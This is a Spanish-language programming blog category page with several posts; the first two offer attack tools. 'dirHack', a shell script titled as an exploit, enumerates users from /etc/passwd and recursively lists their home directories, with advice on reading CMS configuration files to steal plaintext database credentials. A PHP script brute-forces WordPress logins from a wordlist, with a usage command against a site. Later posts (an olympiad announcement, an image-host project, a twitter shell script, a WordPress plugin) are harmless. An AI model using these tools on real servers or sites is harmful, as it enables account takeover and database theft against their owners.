CategoríaProgramación

dirHack

El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.

  1. #!/bin/sh
  2. # Written by Zerial & Pons
  3. # McDonald‘s Day …
  4. # 21.34, Jun 13 2006 – Updated: 01.41, Jun 15 2006
  5. # # # # # # # # # # # # # # # # # # # # # # # # # #
  6. #  ____  _      _   _            _
  7. # |  _ (_)_ __| | | | __ _  ___| | __
  8. # | | | | | ‘__| |_| |/ _` |/ __| |/ /
  9. # | |_| | | |  |  _  | (_| | (__|   < # |____/|_|_|  |_| |_|__,_|___|_|_
  10. #
  11. # # # # # # # # # # # # # # # # # # # # # # # # # #
  12. version="1.0.2"
  13. if [ $# -lt 2 ]
  14. then
  15.         echo
  16.         echo "DirHack eXploit $version"
  17.         echo "This thing will list all sub-home directories"
  18.         echo "that are accesable by the user running the"
  19.         echo "script."
  20.         echo -e "tusage: $0 id output-file bz2|gz|text (default is text)"
  21.         echo -e "texample: $0 999 out bz2"
  22.         echo
  23.         break
  24. else
  25.         echo > $2
  26.         if [ ! –w $2 ]
  27.         then
  28.                 echo "File $2 doesn’t have write permissions"
  29.                 break
  30.         fi
  31.  
  32.         freedirs="public_html public_ftp etc tmp mail"
  33.         echo "Starting DirHack $version"
  34.         echo "DirHack eXploit $version" >> $2
  35.         for dir in $freedirs
  36.         do
  37.                 for user in `awk -F‘:’ ‘ {printf $1 "n"} ‘ /etc/passwd`
  38.                 do
  39.                         userhome=`cat /etc/passwd |grep $user: |grep :$(id -u $user): |awk -F‘:’ ‘ {printf $6 "n"}’`
  40.                         fulldir=$userhome/$dir
  41.                         if [ `id -u $user` -gt $1 ]
  42.                         then
  43.                                 if [ -d $fulldir ]
  44.                                 then
  45.                                         echo "" >> $2
  46.                                         echo "————————————————————-" >> $2
  47.                                         echo "User: $user" >> $2
  48.                                         echo "Directory: $fulldir" >> $2
  49.                                         echo "Size: `du -sh $fulldir`" >> $2
  50.                                         echo "" >> $2
  51.                                         ls -Rla $fulldir >> $2
  52.                         fi
  53.                 fi
  54.                 done
  55.         done
  56.         case $3 in
  57.                 bz2)
  58.                         bzip2=`which bzip2`
  59.                         if [ -x $bzip ]
  60.                         then
  61.                                 $bzip2 -f $2
  62.                                 echo "File ready and compressed in $2.bz2"
  63.                         else
  64.                                 echo "No exec permissions for bzip2 or bzip2 not found."
  65.                                 echo "File left uncompressed in $2"
  66.                         fi;;
  67.                 gz)
  68.                         gzip=`which gzip`
  69.                         if [ -x $gzip ]
  70.                         then
  71.                                 $gzip -f $2
  72.                                 echo "File ready and compressed in $2.gz"
  73.                         else
  74.                                 echo "No exec permissions for gzip or gzip not found."
  75.                                 echo "File left uncompressed in $2"
  76.                         fi;;
  77.  
  78.                 *)
  79.                         echo "File ready in $2";;
  80.  
  81.                 esac

Funcionamiento: Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio public_html y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama apache y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.

Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.
Una forma de solucionar este problema es con chroot.

Web Login por fuerza bruta

WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

  1. < ?php
  2. ini_set("memory_limit", "100M");
  3. function crackSite($wordlist, $url, $user, $attemps = 0)
  4. {
  5.         if($file = file($wordlist))
  6.                 print "Read ".count($file)." words.n";
  7.         else
  8.         {
  9.                 print "Can’t read word list file.n";
  10.                 die();
  11.         }
  12.         $i = 0;
  13.         rtrim($fields_string,‘&amp;’);
  14.         foreach($file as $word)
  15.         {
  16.                 if(++$i%10 == 0)
  17.                         print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
  18.                 $fields_string = "log=".$user."&amp;pwd=".trim($word);
  19.                 $ch = curl_init();
  20.                 curl_setopt($ch,CURLOPT_URL,$url);
  21.                 curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
  22.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
  23.                 $result = md5( curl_exec($ch) );
  24.                 if(!$oresult) $oresult = $result;
  25.                 if($oresult != $result)
  26.                 {
  27.                         print "Password found: ".$word."n";
  28.                         die();
  29.                 }
  30.                 curl_close($ch);
  31.         }
  32. }
  33. crackSite($argv[1], $argv[2], $argv[3]);
  34. ?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt https://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

httpvh://www.youtube.com/watch?v=CMfxsGQOtd8

Descargar video:
Mirror 1: Hardmodding (2.8M)

Olimpiadas Nacionales de Informatica (ONI)

oni La Olimpiada Nacional en Informática (ONI) es el concurso de informática para los estudiantes chilenos que se encuentren cursando enseñanza media durante el presente año o recién egresados. Los concursantes compiten individualmente, e intentan obtener la máxima puntuación resolviendo un conjunto de problemas informáticos durante las dos sesiones del concurso (online y presencial). Los problemas son algorítmicos y deben resolverse programando en un ordenador personal.

La ONI se organiza en Chile bajo los auspicios de la Ilustre Municipalidad de Buin.

El principal objetivo de este proyecto es contribuir a la educación de los jóvenes incorporando la informática como una pieza fundamental en su desarrollo, y además reconocer a aquellos que demuestren talento en el área para orientarlos y apoyarlos en su futura formación.

La ONI se realizará el día 21 de Junio de 14:00 a 18:00 horas en su primera fase en línea y el día 19 de Julio en su fase presencial (y final). Esta última se llevará a cabo en la comuna de Buin. Para la fase presencial, aquellos participantes provenientes de regiones podrán alojarse en Buin con un día de anterioridad.

Los temas a tratar en la ONI son los siguientes:

Estructura de Datos
Algoritmos de Ordenación
Algoritmos de Búsqueda
Grafos
Programación Dinámica
Mínimo Coste
Backtracking

 

Más info en onibuin

Chevereto

Si alguna vez pensaste en tener un hosting de imágenes corriendo en tu servidor con un script open source que te permite modificarlo como te dé la gana y compartir con personas de todo el mundo esta experiencia… Piensas igual que nosotros.

Con esta frase se presenta el sitio en desarrollo de Chevereto , un futuro sistema libre para el alojamiento de imagenes.

chevereto’s logo

Ya deben conocer Imageshack (https://imageshack.us) o Godlike, el primero un sitio popular a nivel mundial de almacenamiento de imagenes y el segundo un sitio Chileno que a menos de un año de vida se esta popularizando en distintos paises.
Chevereto es un sistema que hace un par de meses se esta desarrollando pero que tambien hace mucho tiempo esta estancado y que ahora retomare con mucho mas animo. Espero poder tener lista una beta del sistema en menos de un mes, junto a Rodolfo Berrios (autor intelectual del asunto) y Pons (un desarrollador desmotivao’).

Seguir leyendo

Twitsh – twitea fácilmente!

Como usuario de fluxbox y, para facilitarme el uso de twitter (a pesar de usar twitbin), cree un script que si bien no es solamente para fluxbox, es muy util con fluxboxo con algún otro gestor de ventanas que nos permita configurar hotkeys.

Si bien no podre con este script ver los updates de mis contactos, si podre actualizar mis acciones de una manera sencilla sin tener que abrir el navegador web para poder actualizar desde la web o desde twitbin y sin usar ningún cliente para twitter. Es un script sencillo que, configurandolo bien, podra ser muy util.

Para dejarlo funcionando de lujo en fluxbox, la instalacion y configuración paso a paso.
Descargar el script desde acá o copiar el código desde:

#!/bin/sh

CONFIG_FILE=$HOME/.twitshrc

function sendUpdate
{
USERNAME=`grep -v “^#” $CONFIG_FILE |grep username |cut -f2 -d ” “`
PASSWORD=`grep -v “^#” $CONFIG_FILE |grep password |cut -f2 -d ” “`
MY_UPDATE=`zenity –entry –text=”What are you doing now? (140 chars. max)”`
until [ `echo $MY_UPDATE|wc -c` -lt 140 ]; do
zenity –error –text=”Your update has more than 140 characters. Please edit this.”
MY_UPDATE=`zenity –entry –text=”What are you doing now? (140 chars. max)” –entry-text=”$MY_UPDATE”`
done
curl -u “$USERNAME:$PASSWORD” -d “status=$MY_UPDATE” “https://twitter.com/statuses/update.json” |zenity –progress –text=”Sending …” –auto-close auto-kill
}

if [ -f $CONFIG_FILE ];
then
sendUpdate
else
echo “ERROR: Couldn’t open config file ($CONFIG_FILE)”
fi

Seguir leyendo

TwitteRead (Plugin para WP)

Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin.

Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la barra de navegacion que esta al costado derecho del blog.
El plugin es bastante basico pero se le pueden ir agregando mas funcionalidades y quizas generar un algoritmo más óptimo para leer los últimos updates de cada usuario, pero para este caso (el mio) basta y sobra con lo que hace. Si en algun momento comienza a fallar entonces reconsideraré la opcion de volver a escribirlo. Si alguien quiere probarlo lo puede descargar desde acá.
Para instalarlo y usarlo es muy sencillo, vayan al directorio de los plugins de wordpress (wp-content/plugins) y desempaqueten el fichero descargado:

$ tar zxvf twitteread-0.5.tar.gz
twitteread/
twitteread/twitteread.php

Luego deben ir al panel de administracion de WP y activen el plugin, una vez activado, deben editar el sidebar del Theme que esten usando y, en la posicion que ustedes quieran, llaman a la funcion que devolvera o mostrara los post en twitter.

<? getTwitterFrom( usuario, cantidad_de_updates ); ?>